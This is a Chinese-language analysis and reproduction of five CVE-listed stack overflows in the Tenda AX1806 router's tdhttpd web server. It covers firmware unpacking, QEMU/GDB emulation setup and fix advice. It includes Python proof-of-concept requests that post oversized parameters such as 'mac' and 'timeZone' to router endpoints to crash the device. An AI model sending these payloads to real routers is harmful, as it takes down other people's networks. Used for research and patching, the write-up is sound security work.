Tenda-AX1806路由器多处栈溢出漏洞
字数 1371 2025-08-06 23:10:24
Tenda AX1806路由器多处栈溢出漏洞分析与复现
1. 漏洞概述
Tenda AX1806路由器固件版本v1.0.0.1中存在多处栈溢出漏洞,这些漏洞位于tdhttpd二进制文件中。由于使用了危险函数strcpy而未对参数长度进行判断,导致拒绝服务漏洞。
CVE编号
- CVE-2022-28971
- CVE-2022-28972
- CVE-2022-28970
- CVE-2022-28969
- CVE-2022-28973
2. 漏洞分析环境准备
所需工具
- binwalk:用于固件解包
- ubi_reader:处理UBI文件系统
- IDA Pro:逆向分析二进制文件
- qemu-arm-static:模拟ARM环境
- gdb-multiarch:调试ARM程序
固件获取与解包
- 从官网下载固件
- 使用binwalk解包固件:
需要ubi_reader来处理UBI文件系统binwalk -Me firmware.bin
3. 漏洞定位与分析
漏洞存在于tdhttpd二进制文件的以下函数中:
- fromAdvSetMacMtuWan
- form_fast_setting_wifi_set
- fromSetIpMacBind
- GetParentControlInfo
- fromSetWifiGusetBasic
3.1 fromAdvSetMacMtuWan漏洞
- 调用函数sub_658D8
- sub_658D8内字符串拷贝前未对输入参数做长度判断
- 使用strcpy直接拷贝用户可控数据
3.2 form_fast_setting_wifi_set漏洞
- 处理timeZone参数时未对长度进行判断
- 直接拷贝到固定大小的缓冲区
3.3 fromSetIpMacBind漏洞
- 未对长度进行判断
- 无论如何都将内容拷贝到v20变量中
3.4 GetParentControlInfo漏洞
- 拷贝到堆块时未对长度判断
- 导致堆溢出
3.5 fromSetWifiGusetBasic漏洞
- 没有判断参数长度直接进行拷贝
4. 动态调试环境搭建
4.1 模拟运行
sudo qemu-arm-static -L . ./bin/tdhttpd
4.2 网络配置
- 安装必要工具:
sudo apt install uml-utilities bridge-utils - 新建网桥:
sudo brctl addbr br0 sudo brctl addif br0 ens33 sudo ifconfig br0 up sudo dhclient br0
4.3 安装依赖
- 安装ARM环境库:
sudo apt install qemu-user-static libc6-arm* libc6-dev-arm* - 复制qemu-arm-static:
cp $(which qemu-arm-static) .
4.4 运行httpd服务
sudo chroot ./ ./qemu-arm-static ./bin/tdhttpd
5. PoC代码分析
5.1 CVE-2022-28970
data = {
b"mac": b"A"*0x400
}
res = requests.post("http://target/fromSetIpMacBind", data=data)
5.2 CVE-2022-28973
data = {
b"wanMTU": b'A'*0x800,
}
res = requests.post("http://target/fromAdvSetMacMtuWan", data=data)
5.3 CVE-2022-28969
data = {
b"shareSpeed": b'A'*0x800
}
res = requests.post("http://target/form_fast_setting_wifi_set", data=data)
5.4 CVE-2022-28971
data = {
b"list": b'A'*0x800,
b"bindnum": b"1"
}
res = requests.post("http://target/fromSetIpMacBind", data=data)
5.5 CVE-2022-28972
data = {
b"ssid": b'A',
b"timeZone": payload.ljust(0x100,b'A') + b":" + b"A"*0x400
}
res = requests.post("http://target/form_fast_setting_wifi_set", data=data)
6. 调试方法
6.1 启动调试
sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/tdhttpd
6.2 GDB调试脚本
gdb-multiarch \
-ex "target remote :1234" \
-ex "python set_arch(\"arm\")" \
-ex "b *($1)"
7. 漏洞利用分析
- 由于使用strcpy进行拷贝,遇到空字符会截断
- 无法构造完整地址进行利用
- 主要造成拒绝服务效果
- 实际环境中会导致路由器宕机
8. 漏洞修复建议
- 将strcpy替换为strncpy,控制拷贝字符长度
- 在使用strcpy前对输入参数长度进行严格检查
- 实现安全的字符串处理函数
- 对用户输入进行严格的边界检查
9. 总结
Tenda AX1806路由器固件v1.0.0.1版本中存在多处栈溢出漏洞,主要原因是使用了不安全的字符串处理函数而未进行长度检查。这些漏洞可导致拒绝服务攻击,虽然无法直接实现远程代码执行,但会严重影响路由器的正常运行。修复方案应着重于实现安全的字符串处理机制和严格的输入验证。